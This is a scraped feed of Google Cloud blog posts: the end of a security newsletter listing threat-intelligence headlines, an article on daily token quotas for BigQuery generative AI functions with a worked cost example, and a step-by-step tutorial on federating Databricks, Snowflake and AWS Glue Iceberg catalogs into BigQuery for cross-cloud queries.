aside_block: <ListValue: [StructValue([('title', 'Join the Google Cloud CISO Community'), ('body', <wagtail.rich_text.RichText object at 0x7fd61befdd50>), ('btn_text', 'Learn more'), ('href', 'https://rsvp.withgoogle.com/events/google-cloud-ciso-community-interest-form-2026?utm_source=cgc-blog&utm_medium=blog&utm_campaign=FY25-Q1-global-GCP30328-physicalevent-er-dgcsm-parent-CISO-community-2025&utm_content=cisop_&utm_term=-'), ('image', <GAEImage: GCAT-replacement-logo-A>)])]>

Threat Intelligence news

Vulnerability discovery and exploitation trends in the AI era: To counter the increased risk from rapid vulnerability discovery and exploitation, organizations should transition from unprioritized mass-patching to threat-intelligence-driven triage, combining targeted edge-defense with automated, agentic remediation. Read more.
Defending against active exploitation of Citrix NetScaler ADC and Gateway appliances: Mandiant Consulting and Google Threat Intelligence Group (GTIG) identified active, in-the-wild exploitation of a zero-day vulnerability affecting Citrix NetScaler ADC and NetScaler Gateway appliances. Here’s our containment and remediation guidance. Read more.
ShinyHunters renewed mass exploitation campaign targeting Oracle PeopleSoft: Mandiant and Google Threat Intelligence Group (GTIG) have identified renewed mass exploitation of CVE-2026-35273 by UNC6240 (ShinyHunters), along with expanded global targeting across multiple sectors. Read more.
Proactively defend by hardening code pipelines and CI/CD infrastructure: Check out our actionable blueprint for software and platform architects designed to safeguard the software supply chain against threat vectors that are actively being exploited, third-party risks, and architectural vulnerabilities throughout the entire software development lifecycle. Read more.

Please visit the Google Cloud blog for more threat intelligence stories published this month.

Now hear this: Podcasts from Google Cloud

Cloud Security Podcast: Patching browsers with AI, agents, Rust, and your tabs: Jasika Bawa and Doug Turner of Chrome Security explore how Google Chrome now uses AI agents to autonomously identify and patch security vulnerabilities at an unprecedented scale, significantly accelerating the browser's update cadence. Listen here.
Cloud Security Podcast: All about Project Atlas, Wiz's AI vulnerability research: Nir Orfeld, head of vulnerability research, Wiz, discusses how his team uses multi-agent AI systems for discovering high-impact zero-day vulnerabilities in cloud infrastructure. Listen here.
Cloud Security Podcast: How Google eliminates classes of vulnerabilities at scale: How do you build the foundations for a secure Google-scale enterprise that stays secure even if an AI is writing the code and nobody has time to review it? Christoph Kern, principal security engineer, Google, explores what secure-by-design really means in the AI era. Listen here.

To have our Cloud CISO Perspectives post delivered twice a month to your inbox, sign up for our newsletter. We’ll be back in a few weeks with more security-related updates from Google Cloud.

Predictable AI spend in BigQuery: Introducing cost management for generative AI functions

Wed, 14 Oct 2026 16:00:00 +0000

The generative AI functions in BigQuery (AI.GENERATE, AI.IF, AI.CLASSIFY, AI.SCORE, and more) bring large language models (LLMs) directly into your SQL, so a single query can classify millions of support tickets or score each product review for sentiment. However, because these functions are billed by the token, scaling them across massive datasets highlights the importance of managing your budget proactively.

We recently announced the general availability (GA) of token-based cost management for BigQuery generative AI functions: daily quotas that let administrators set self-serve guardrails on AI token consumption, so teams can innovate while staying within your budget. In this blog, we provide an overview of cost management for BigQuery generative AI functions, walk through a few practical examples, and share resources to help you get started. Let’s jump in.

Quotas for managing costs

Four daily quotas, managed through the Google Cloud Identity and Access Management (IAM) quota system, provide controls at the project level and the per-user level. Per-user limits apply to each user within a project, not across your organization.

Quota name	Metric	Scope	Default value
AI input tokens per day	Input tokens used by the LLM	Per day, per project	200 billion
AI input tokens per day per user	Input tokens used by the LLM	Per day, per project, per user	150 billion
AI output tokens per day	Output and thinking tokens used by the LLM	Per day, per project, per project	20 billion
AI output tokens per day per user	Output and thinking tokens used by the LLM	Per day, per project, per user	15 billion

Key details:

The quotas are global. Usage is summed across all regions, so costs can't pile up unnoticed in a region you weren't watching.
Output quotas include "thinking" tokens. Reasoning tokens count toward your output quota, just as they count toward your Gemini platform bill.

Which functions are covered?

The quotas apply to these BigQuery functions that perform LLM-backed generation:

AI.GENERATE
AI.GENERATE_TABLE
AI.GENERATE_TEXT (and its alias ML.GENERATE_TEXT)
AI.CLASSIFY
AI.IF
AI.SCORE
AI.AGG

What's not covered: Embedding functions such as AI.GENERATE_EMBEDDING (also available as ML.GENERATE_EMBEDDING) and AI.EMBED are not subject to these quotas, because they run on different, substantially cheaper models.

Managing your quotas

Administrators can view and adjust the quotas directly in the Google Cloud console as workloads change, with no support case required.

Navigate to IAM & Admin → Quotas & System Limits.
Filter by service and select BigQuery API.
Sort by the Name column to bring the four AI quotas to the top.

Locating the gen AI token quotas in IAM & Admin → Quotas & System Limits.

4. Find the quota, for example AI input tokens per day.

5. Open the three-dot menu and choose Edit quota.

From there:

To tighten cost control, lower a quota. This takes effect immediately with no approval needed.
To support higher usage, request an increase from the same page. Many requests are auto-approved; larger increases may go through a quick review.

Editing a gen AI token quota in IAM & Admin → Quotas & System Limits.

You'll need the right permissions. You need one of: Owner, Editor, Quota Administrator (roles/servicemanagement.quotaAdmin), or Service Usage Admin (roles/serviceusage.serviceUsageAdmin).

Prefer automation? You can also manage these quotas programmatically through the Cloud Quotas API, the gcloud CLI, and Terraform to apply consistent guardrails across projects.

Monitoring usage

Beyond setting limits, the Quotas & System Limits page displays your historical token consumption so you can quickly detect spikes and right-size your budgets. Use these trends to see how new generative AI workloads and data pipelines affect your overall token usage.

Daily project-level token usage for a gen AI token quota in IAM & Admin → Quotas & System Limits.

Longer-term usage graph with selectable 7-day, 14-day, 30-day, and custom ranges.

For a step-by-step walkthrough, see the BigQuery documentation on controlling costs with token quotas.

Token quotas vs. billing spend caps

Token quotas aren't the only cost guardrail in Google Cloud.

Token quotas (this feature) are preventive and AI-specific. BigQuery tracks token usage during query execution and stops work close to the limit, with separate limits per project and per user.
Cloud Billing spend caps operate on dollars at the project and service level and can automatically block usage when a threshold is reached. They're a broad, financial backstop rather than a precise usage control, and because enforcement is not instant, some overages are incurred.

Use token quotas as your first line of defense for AI spend, and a spend cap as a project-wide safety net.

How enforcement works

Quotas are enforced by stopping work rather than letting a query run past your limit. A query is rejected up front with a QuotaExceeded error only if a quota it needs is already exhausted. Otherwise, it starts, and if a quota runs out mid-query, BigQuery stops sending new LLM calls:

Functions that support max_error_ratio (such as AI.IF) return partial results if unprocessed rows stay within the ratio, and otherwise fail.
General-purpose functions (such as AI.GENERATE) still succeed. Skipped rows have no generated value, and their status field contains the quota-exceeded error.

For details, see quota enforcement behavior in the documentation.

Sizing your input data: `AI.COUNT_TOKENS`

To choose quota values, it helps to know how much text your workloads send to a model. The AI.COUNT_TOKENS function helps with this.

AI.COUNT_TOKENS returns the number of tokens a model's tokenizer produces for a text string, without making a billable generation call. Run it over a column to measure your input data:

code_block: <ListValue: [StructValue([('code', "-- Count the input text tokens for each product review\r\nSELECT\r\n SUM(\r\n AI.COUNT_TOKENS(\r\n CONCAT('Classify the sentiment of this review as positive, negative, or neutral: ', review_text),\r\n\r\n endpoint => 'gemini-3.1-flash-lite').result) AS total_input_tokens\r\nFROM\r\n `my_project.my_dataset.product_reviews`;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd61bebf090>)])]>

The count is a lower bound on input tokens. It doesn't include output or thinking tokens, the instructions each AI function adds around your input, or non-text inputs such as images. Use it to:

Gauge the input side of a workload before you launch it.
Right-size your quotas together with a small sample run that measures actual input and output usage.
Translate tokens into dollars using the published Gemini platform pricing for your model.

From tokens to budget: a worked example

Suppose you want to keep a project's daily AI spend around $100 with the Gemini 3.1 Flash-Lite model. As of today's published pricing (BigQuery processes in batch which provides a 50% discount):

Input tokens: $0.125 per 1 million tokens
Output tokens (response + reasoning): $0.75 per 1 million tokens

If a small sample run shows an average 100:1 input-to-output token ratio, you can solve for a daily budget:

code_block: <ListValue: [StructValue([('code', 'Cost: 0.125 × I + 0.75 × O = 100 (I, O in millions of tokens)\r\nRatio: I = 100 × O'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6214c76d0>)])]>

Solving gives about 754 million input tokens and 7.54 million output tokens per day. Set AI input tokens per day and AI output tokens per day to these values to hold the project near $100/day. If a project uses models with different prices, budget per model or blend the rates.

Best practices for managing AI cost

Start with per-user quotas. They stop one user or runaway experiment from draining the project's budget.
Measure before you scale. Use AI.COUNT_TOKENS to size your input, then check a small sample run in the usage chart before setting limits.
Mind the output side. Output tokens cost more. Where a function accepts max_output_tokens, set it to bound generation length.
Monitor and iterate. Adjust limits as real usage and budgets change.

Get started

Token-based cost management is available now. To begin:

Open IAM & Admin → Quotas & System Limits in the Google Cloud Console and filter by BigQuery API.
Review the four AI-related token quotas and set limits that match your budget.
Use AI.COUNT_TOKENS to size your input data.

For the full details, see the documentation on controlling generative AI costs.

With token-based guardrails in place, your teams can use generative AI in BigQuery with the cost predictability your organization needs.

Cross-cloud conversational analytics made simple with open standards

Tue, 13 Oct 2026 16:00:00 +0000

The reality for most organizations is that data lives everywhere. As engineering teams expand and adopt specialized platforms for their workloads, enterprise data naturally disperses across multiple clouds and operational systems. When analytical and AI initiatives require context from across the entire organization,these teams traditionally face a difficult trade-off: build complex extraction pipelines to copy data into a central repository or accept fragmented reporting.

Traditional architectures address this fragmentation with scheduled extraction pipelines that copy remote datasets into a central staging warehouse. This approach creates synchronization lag, adds recurring storage costs, and triggers variable network egress fees. When schemas change upstream, pipelines break, and teams spend hours reconciling metrics across out-of-sync dashboards.

BigQuery and Google Cloud’s borderless Lakehouse offer a streamlined way to solve this challenge with a foundation based on the open Apache Iceberg REST catalog specification. Rather than moving data to the compute engine, you can bring Google Cloud compute and generative AI directly to your data, querying it in place across Databricks, Snowflake, and AWS Glue.

In this post, we walk through how to configure Databricks Unity Catalog for federation into BigQuery (AWS Glue and Snowflake set up in appendix), run a single query joining data across all three external catalogs, and use conversational analytics in BigQuery to explore the consolidated data with natural language.

Figure 1: BigQuery federates metadata across external Apache Iceberg REST catalogs through Lakehouse, enabling in-place conversational analytics without data migration.

The borderless lakehouse architecture

This solution uses Lakehouse runtime catalog to synchronize metadata from other cloud providers, allowing you to query data with BigQuery or external open source engines through the Apache Iceberg REST catalog endpoint, all without migrating the data. Because Databricks Unity Catalog, Snowflake Horizon Catalog, and AWS Glue Data Catalog support the open Apache Iceberg REST catalog specification, you can apply a consistent connection pattern across all three platforms.

When you run a federated query, Lakehouse runtime catalog separates metadata synchronization from storage access:

Metadata synchronization: Lakehouse runtime catalog periodically syncs schemas, snapshot pointers, and table definitions from the remote catalog based on a refresh schedule you define.
Direct storage access: During query runtime, a compatible engine reads Parquet data files directly from remote object storage, such as Amazon S3, using temporary credentials issued by the remote platform.

All query processing runs within Google cloud compute such as BigQuery or Managed Service for Apache Spark. Remote Databricks clusters, Snowflake virtual warehouses, and AWS compute instances are not invoked during execution.

Authentication follows an explicit three-step deployment pattern: create the federated catalog in Google Cloud, inspect its configuration to retrieve its automatically generated service account, and grant access permissions within the remote platform.

You can use AI to generate sample data. The schema details for tables are provided below.

Configure Databricks Unity Catalog

We begin in Databricks by preparing the catalog and table. In Unity Catalog, federated access requires that your target schema be associated with an external location registered in Databricks:

code_block: <ListValue: [StructValue([('code', "-- Run inside Databricks SQL workspace\r\nCREATE CATALOG IF NOT EXISTS dbx_retail_db;\r\n\r\n-- Declare the managed target location at the schema level\r\nCREATE SCHEMA IF NOT EXISTS dbx_retail_db.dbx_core \r\n MANAGED LOCATION 's3://my-databricks-bucket/retail/data/';\r\n\r\n-- Create the Iceberg dimension table\r\nCREATE TABLE IF NOT EXISTS dbx_retail_db.dbx_core.dim_products (\r\n product_key INT,\r\n product_id STRING,\r\n product_name STRING,\r\n category STRING,\r\n subcategory STRING,\r\n brand STRING,\r\n price DOUBLE,\r\n cost DOUBLE\r\n)\r\nUSING iceberg;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd62024ac10>)])]>

You can use AI to generate sample data. The schema details for tables are provided in each section.

Before external engines can read this table, a Databricks metastore administrator must enable External data access on the metastore details tab.

Go to Databricks Admin account and under User Management, create a Databricks Service Principal and make a note of its UUID "6ea7b861-c5a5-xxxx-xxxx-xxxxxxxxxxxx"

Connect Databricks to BigQuery

Next, create the federated catalog inside Google Cloud using the gcloud command-line tool. You will need your Databricks workspace URL and the application ID of your Databricks service principal:

code_block: <ListValue: [StructValue([('code', 'export GCP_PROJECT_ID="my-lakehouse-project"\r\nexport GCP_REGION="us-central1"\r\n\r\ngcloud alpha biglake iceberg catalogs create dbx_retail_db \\\r\n --project="$GCP_PROJECT_ID" \\\r\n --primary-location="$GCP_REGION" \\\r\n --catalog-type="federated" \\\r\n --federated-catalog-type="unity" \\\r\n --unity-instance-name="dbc-xxxxxxxx-xxxx.cloud.databricks.com" \\\r\n --unity-catalog-name="dbx_retail_db" \\\r\n --unity-service-principal-application-id="6ea7b861-c5a5-xxxx-xxxx-xxxxxxxxxxxx" \\\r\n --refresh-interval="300s"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd61b913a50>)])]>

Once created, describe the catalog to view its assigned service account:

code_block: <ListValue: [StructValue([('code', 'gcloud alpha biglake iceberg catalogs describe dbx_retail_db \\\r\n --project="$GCP_PROJECT_ID"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd62205cd90>)])]>

Return to Databricks to assign permissions to your service principal:

code_block: <ListValue: [StructValue([('code', '-- Grant catalog traversal permission\r\nGRANT USE CATALOG ON CATALOG dbx_retail_db \r\n TO `6ea7b861-c5a5-xxxx-xxxx-xxxxxxxxxxxx`;\r\n\r\n-- Grant schema and read permissions\r\nGRANT USE SCHEMA,EXTERNAL USE SCHEMA, SELECT ON SCHEMA dbx_retail_db.dbx_core \r\n TO `6ea7b861-c5a5-xxxx-xxxx-xxxxxxxxxxxx`;'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd61bee2a10>)])]>

You must grant the EXTERNAL USE SCHEMA privilege to the Databricks Service Principal on the target schemas or catalog to enable credential vending for external data access.

Finally, to complete the connection, configure the federation policy on the Databricks service principal with the following details -

Issuer URL* - https://accounts.google.com
Subject* - numeric subject ID returned by the catalog describe command eg 1124251400450xxxxxxxx
Audiences - https://accounts.cloud.databricks.com

Run one query across three clouds

Federated Iceberg tables are addressed in BigQuery using four-part paths: project.catalog.namespace.table.

In our environment, sales transactions reside natively in BigQuery:

code_block: <ListValue: [StructValue([('code', 'CREATE SCHEMA IF NOT EXISTS local_retail_dataset\r\nOPTIONS(location="us-central1");\r\n\r\nCREATE OR REPLACE TABLE `my-lakehouse-project.local_retail_dataset.fact_sales` (\r\n sale_id STRING,\r\n sale_date DATE,\r\n customer_key INT64,\r\n product_key INT64,\r\n store_key INT64,\r\n quantity INT64,\r\n unit_price NUMERIC,\r\n discount NUMERIC,\r\n total_revenue NUMERIC,\r\n total_cost NUMERIC,\r\n margin NUMERIC\r\n)\r\nPARTITION BY sale_date\r\nCLUSTER BY store_key, product_key;'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd61bee3e10>)])]>

We can now run a single SQL query joining our native sales transactions with customer records in Snowflake, product lines in Databricks, and store locations in AWS Glue:

code_block: <ListValue: [StructValue([('code', "SELECT \r\n c.first_name || ' ' || c.last_name AS customer_name, -- From Snowflake Iceberg\r\n p.product_name, -- From Databricks Iceberg\r\n s.store_name, -- From AWS S3 Iceberg\r\n SUM(f.quantity) AS total_units_sold, -- From BigQuery native fact\r\n SUM(f.total_revenue) AS total_sales_revenue -- From BigQuery native fact\r\nFROM `my-lakehouse-project.local_retail_dataset.fact_sales` f\r\nINNER JOIN `my-lakehouse-project.sf_retail_db.CORE.DIM_CUSTOMERS` c \r\n ON f.customer_key = c.customer_key\r\nINNER JOIN `my-lakehouse-project.dbx_retail_db.dbx_core.dim_products` p \r\n ON f.product_key = p.product_key\r\nINNER JOIN `my-lakehouse-project.glue_retail_db.glue_retail_db.dim_stores` s \r\n ON f.store_key = s.store_key\r\nGROUP BY 1, 2, 3\r\nORDER BY total_sales_revenue DESC\r\nLIMIT 10;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd61bfa7250>)])]>

BigQuery processes the joins in place. Notice that Snowflake identifiers appear in uppercase (CORE.DIM_CUSTOMERS), while Databricks and AWS Glue maintain lowercase table paths.

Figure 2 - Query results combining data across Snowflake, Databricks, and AWS Glue.

Explore cross-cloud data with natural language

Because federated Iceberg tables behave like native tables within BigQuery, downstream analytical features inherit access directly. You can point conversational analytics in BigQuery at these federated schemas to let team members explore cross-cloud data using natural language prompts.

To give conversational analytics full operational context, we save our federated join as a logical view:

code_block: <ListValue: [StructValue([('code', "CREATE OR REPLACE VIEW `my-lakehouse-project.local_retail_dataset.v_omnichannel_sales_pulse` AS\r\nSELECT \r\n f.sale_id,\r\n f.sale_date,\r\n c.first_name || ' ' || c.last_name AS customer_name,\r\n c.country AS customer_country,\r\n p.product_name,\r\n p.category AS product_category,\r\n p.brand AS product_brand,\r\n s.store_name,\r\n s.city AS store_city,\r\n s.region AS store_region,\r\n f.quantity,\r\n f.total_revenue,\r\n f.margin\r\nFROM `my-lakehouse-project.local_retail_dataset.fact_sales` f\r\nINNER JOIN `my-lakehouse-project.sf_retail_db.CORE.DIM_CUSTOMERS` c \r\n ON f.customer_key = c.customer_key\r\nINNER JOIN `my-lakehouse-project.dbx_retail_db.dbx_core.dim_products` p \r\n ON f.product_key = p.product_key\r\nINNER JOIN `my-lakehouse-project.glue_retail_db.glue_retail_db.dim_stores` s \r\n ON f.store_key = s.store_key;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd61bfa7650>)])]>

Analyze sales performance in natural language

When you ask conversational analytics in BigQuery:

"Who are our top customers by total sales revenue, what products did they buy, and which stores did they shop at?"

Conversational analytics evaluates the schema across all three remote catalogs, generates the SQL statement, executes the query, and presents the response.

Figure 3: Conversational analytics in BigQuery translates plain-language prompts into federated queries across Snowflake, Databricks, and AWS Glue.

Plan for caching and data residency

Before deploying federated catalogs in production, consider these operational behaviors:

Background refresh timing: The --refresh-interval flag controls metadata synchronization. The minimum interval is 300 seconds. For larger catalogs containing hundreds of tables, metadata retrieval can take longer. If a sync cycle overruns, BigQuery skips the next scheduled run to avoid task queuing.
Automatic query caching: BigQuery caches retrieved cross-cloud data blocks in the region where your federated catalog resides (e.g. us-central1). This helps reduce network transfer on repeated queries. Because cached blocks reside within Google Cloud storage in that region, confirm that this aligns with your organization's data residency policies.
Encryption controls: Cross-cloud cache blocks use Google-managed encryption keys. If your organization enforces the constraints/gcp.restrictNonCmekServices policy constraint, BigQuery bypasses the cache and reads directly from remote storage for every query.
Monitoring access metrics: You can evaluate cache utilization in your query execution plans. Check the objectStorageStats section in BigQuery job statistics to compare cacheBytesRead against objectStorageBytesRead.

Next steps

In summary, Google Cloud’s borderless Lakehouse helps you activate your data regardless of where it lives without costly migrations or building additional data pipelines. Get started today by reviewing the borderless Lakehouse architecture documentation to learn more about supported regions and credential configurations. You can work through the borderless Lakehouse codelab to practice federating external catalogs step-by-step. Finally, connect with your Google Cloud account team or customer engineer to evaluate borderless lakehouse patterns for your specific data platforms or industries.

Appendix

Setting up Snowflake and AWS Glue cross cloud data access

Connect Snowflake and Big Query

Configure Snowflake Horizon Catalog

We begin in Snowflake by creating the database, schema, and Iceberg table. In Snowflake Horizon, managed Iceberg tables expose an open Apache Iceberg REST catalog interface automatically:

code_block: <ListValue: [StructValue([('code', "-- Run inside Snowflake SQL worksheet\r\nCREATE DATABASE IF NOT EXISTS sf_retail_db;\r\nCREATE SCHEMA IF NOT EXISTS sf_retail_db.core;\r\n\r\n-- Create the Iceberg dimension table\r\nCREATE OR REPLACE ICEBERG TABLE sf_retail_db.core.dim_customers (\r\n customer_key INTEGER,\r\n customer_id VARCHAR,\r\n first_name VARCHAR,\r\n last_name VARCHAR,\r\n email VARCHAR,\r\n gender VARCHAR,\r\n country VARCHAR,\r\n signup_date DATE\r\n\r\n)\r\nCATALOG = 'SNOWFLAKE'\r\nEXTERNAL_VOLUME = 'SNOWFLAKE_MANAGED';"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6201f9e10>)])]>

Before external engines can read this catalog, configure a dedicated reader role and grant traversal permissions across the database, schema, and table.

SQL

code_block: <ListValue: [StructValue([('code', '-- Create a dedicated reader role\r\nCREATE ROLE IF NOT EXISTS gcp_lakehouse_reader_role;\r\n\r\n-- Grant database and schema traversal permissions\r\nGRANT USAGE ON DATABASE sf_retail_db TO ROLE gcp_lakehouse_reader_role;\r\nGRANT USAGE ON SCHEMA sf_retail_db.core TO ROLE gcp_lakehouse_reader_role;\r\n\r\n-- Grant read access on the target table\r\nGRANT SELECT ON TABLE sf_retail_db.core.dim_customers TO ROLE gcp_lakehouse_reader_role;'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6201f9c90>)])]>

Next, create the federated catalog inside Google Cloud using the gcloud command-line tool. You will need your Snowflake account identifier, the reader role, and the root Iceberg database name:

bash

code_block: <ListValue: [StructValue([('code', 'export GCP_PROJECT_ID="my-lakehouse-project"\r\nexport GCP_REGION="us-central1"\r\n\r\ngcloud alpha biglake iceberg catalogs create sf_retail_db \\\r\n --project="$GCP_PROJECT_ID" \\\r\n --primary-location="$GCP_REGION" \\\r\n --catalog-type="federated" \\\r\n --federated-catalog-type="snowflake" \\\r\n --snowflake-account-identifier="xy12345-ab67890" \\\r\n --snowflake-warehouse="SF_RETAIL_DB" \\\r\n --snowflake-role="gcp_lakehouse_reader_role" \\\r\n --refresh-interval="300s"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd61bfa6550>)])]>

In the Apache Iceberg REST specification, --snowflake-warehouse references the catalog root database name (SF_RETAIL_DB), not a virtual compute warehouse.

Once created, describe the catalog to view its assigned numeric service account ID:

bash

code_block: <ListValue: [StructValue([('code', 'gcloud alpha biglake iceberg catalogs describe sf_retail_db \\\r\n --project="$GCP_PROJECT_ID" \\\r\n --format=\'value(biglake-service-account-id)\''), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6201fbc90>)])]>

Return to Snowflake to bind Google Cloud's numeric identity to a passwordless service user via Workload Identity Federation (WIF):

SQL

code_block: <ListValue: [StructValue([('code', "-- Run inside Snowflake SQL worksheet\r\nUSE ROLE ACCOUNTADMIN;\r\n\r\n-- Bind Google Cloud's numeric identity to a passwordless service user\r\nCREATE OR REPLACE USER snowflake_service_user\r\n TYPE = SERVICE\r\n WORKLOAD_IDENTITY = (\r\n TYPE = GCP\r\n SUBJECT = '102669xxxxxxxxxxxxxxxxx' -- Numeric subject ID returned by gcloud describe\r\n )\r\n DEFAULT_ROLE = gcp_lakehouse_reader_role\r\n COMMENT = 'Service user for Lakehouse catalog federation over WIF';\r\n\r\n-- Grant the reader role to this service user\r\nGRANT ROLE gcp_lakehouse_reader_role TO USER snowflake_service_user;"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6201fbdd0>)])]>

This establishes passwordless authentication over OpenID Connect, allowing BigQuery to discover table metadata and vend temporary query-time credentials directly from Snowflake Horizon.

Configure AWS Glue Data Catalog

We begin in AWS by preparing the IAM identity, establishing access permissions across AWS Glue and Amazon S3, and registering the Iceberg table.

First, create a placeholder trust policy named trust_policy.json. This allows you to provision the AWS IAM role before Google Cloud assigns the unique catalog service agent:

code_block: <ListValue: [StructValue([('code', '{\r\n "Version": "2012-10-17",\r\n "Statement": [\r\n {\r\n "Effect": "Allow",\r\n "Principal": {\r\n "Federated": "accounts.google.com"\r\n },\r\n "Action": "sts:AssumeRoleWithWebIdentity",\r\n "Condition": {\r\n "StringEquals": {\r\n "accounts.google.com:aud": ["PLACEHOLDER_VALUE"],\r\n "accounts.google.com:sub": ["PLACEHOLDER_VALUE"]\r\n }\r\n }\r\n }\r\n ]\r\n}'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd61bf43590>)])]>

Create the IAM role using the AWS CLI. Setting a 12-hour session duration (43200 seconds) prevents credential expiration during long-running analytical queries:

code_block: <ListValue: [StructValue([('code', 'export AWS_ROLE_NAME="lakehouse_glue_federation_role"\r\n\r\naws iam create-role \\\r\n --role-name "$AWS_ROLE_NAME" \\\r\n --assume-role-policy-document file://trust_policy.json \\\r\n --max-session-duration 43200'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd61bf40550>)])]>

Next, define the permissions policy in a file named permissions_policy.json. This policy grants BigQuery permission to read the AWS Glue catalog metadata and access the underlying Parquet data files in Amazon S3:

code_block: <ListValue: [StructValue([('code', '{\r\n "Version": "2012-10-17",\r\n "Statement": [\r\n {\r\n "Sid": "GlueCatalogRead",\r\n "Effect": "Allow",\r\n "Action": [\r\n "glue:GetCatalog",\r\n "glue:GetDatabase",\r\n "glue:GetDatabases",\r\n "glue:GetTable",\r\n "glue:GetTables"\r\n ],\r\n "Resource": "arn:aws:glue:us-east-2:123456789012:*"\r\n },\r\n {\r\n "Sid": "S3BucketAndObjectRead",\r\n "Effect": "Allow",\r\n "Action": [\r\n "s3:ListBucket",\r\n "s3:GetObject"\r\n ],\r\n "Resource": [\r\n "arn:aws:s3:::my-glue-iceberg-bucket",\r\n "arn:aws:s3:::my-glue-iceberg-bucket/*"\r\n ]\r\n }\r\n ]\r\n}'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd61bf433d0>)])]>

Attach this permissions policy to your newly created role:

code_block: <ListValue: [StructValue([('code', 'aws iam put-role-policy \\\r\n --role-name "$AWS_ROLE_NAME" \\\r\n --policy-name "lakehouse_glue_federation_policy" \\\r\n --policy-document file://permissions_policy.json'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd61bf41810>)])]>

Important (AWS Lake Formation): If your AWS environment uses AWS Lake Formation, verify that the IAMAllowedPrincipals group has access to the target database and table (or grant explicit Lake Formation permissions to lakehouse_glue_federation_role if the bucket is registered with AWS Lake Formation). Without this, Lake Formation security settings will block the IAM role from accessing catalog metadata.

With permissions in place, create the database and Iceberg table in AWS Glue using Amazon Athena:

code_block: <ListValue: [StructValue([('code', "-- Run inside Amazon Athena\r\nCREATE DATABASE IF NOT EXISTS glue_retail_db;\r\n\r\nCREATE TABLE IF NOT EXISTS glue_retail_db.dim_stores (\r\n store_key INT,\r\n store_id STRING,\r\n store_name STRING,\r\n city STRING,\r\n state STRING,\r\n region STRING,\r\n manager STRING,\r\n opened_date DATE\r\n\r\n)\r\nLOCATION 's3://my-glue-iceberg-bucket/retail/dim_stores/'\r\nTBLPROPERTIES (\r\n 'table_type'='ICEBERG', \r\n 'format'='parquet', \r\n 'write_compression'='zstd' \r\n\r\n);"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6200a7990>)])]>

Connect AWS Glue to BigQuery

Next, register the federated catalog inside Google Cloud using the gcloud command-line tool. You will need your 12-digit AWS Account ID, AWS Region, and the role ARN created above:

code_block: <ListValue: [StructValue([('code', 'export GCP_PROJECT_ID="my-lakehouse-project"\r\nexport GCP_REGION="us-central1"\r\nexport AWS_REGION="us-east-2"\r\nexport AWS_ACCOUNT_ID="123456789012"\r\n\r\ngcloud alpha biglake iceberg catalogs create glue_retail_db \\\r\n --project="$GCP_PROJECT_ID" \\\r\n --primary-location="$GCP_REGION" \\\r\n --catalog-type="federated" \\\r\n --federated-catalog-type="glue" \\\r\n --glue-warehouse="$AWS_ACCOUNT_ID" \\\r\n --glue-aws-region="$AWS_REGION" \\\r\n --glue-aws-role-arn="arn:aws:iam::${AWS_ACCOUNT_ID}:role/lakehouse_glue_federation_role"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6200a6650>)])]>

To prevent premature background refresh failures while the AWS trust policy propagates, initialize the catalog without setting a refresh schedule.

Next, extract the unique numeric subject ID assigned to the catalog by Google Cloud:

code_block: <ListValue: [StructValue([('code', 'export LAKEHOUSE_SA_ID=$(gcloud alpha biglake iceberg catalogs describe glue_retail_db \\\r\n --project="$GCP_PROJECT_ID" \\\r\n --format="value(biglake-service-account-id)")\r\n\r\necho "Assigned Lakehouse Service Account ID: $LAKEHOUSE_SA_ID"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6200a6590>)])]>

Return to the AWS CLI and update your IAM role's trust policy, replacing the placeholder with the verified Google Cloud identity:

code_block: <ListValue: [StructValue([('code', 'cat > trust_policy_final.json << EOF\r\n{\r\n "Version": "2012-10-17",\r\n "Statement": [\r\n {\r\n "Effect": "Allow",\r\n "Principal": {\r\n "Federated": "accounts.google.com"\r\n },\r\n "Action": "sts:AssumeRoleWithWebIdentity",\r\n "Condition": {\r\n "StringEquals": {\r\n "accounts.google.com:aud": [\r\n "$LAKEHOUSE_SA_ID"\r\n ],\r\n "accounts.google.com:sub": [\r\n "$LAKEHOUSE_SA_ID"\r\n ]\r\n }\r\n }\r\n }\r\n ]\r\n}\r\nEOF\r\n\r\naws iam update-assume-role-policy \\\r\n --role-name "$AWS_ROLE_NAME" \\\r\n --policy-document file://trust_policy_final.json'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6200a6450>)])]>

5. Enable metadata synchronization and verify

bash

code_block: <ListValue: [StructValue([('code', 'gcloud alpha biglake iceberg catalogs update glue_retail_db \\\r\n --project="$GCP_PROJECT_ID" \\\r\n --refresh-interval="300s"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6200a4850>)])]>

Verify that the namespaces are discovered and synchronized:

bash

code_block: <ListValue: [StructValue([('code', '# Verify namespaces synchronized from AWS Glue\r\ngcloud alpha biglake iceberg namespaces list \\\r\n --project="$GCP_PROJECT_ID" \\\r\n --catalog="glue_retail_db"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fd6200a4990>)])]>

Gemini 4 Argon available on Google Cloud, built to help solve your business’ hardest problems

Tue, 13 Oct 2026 16:00:00 +0000

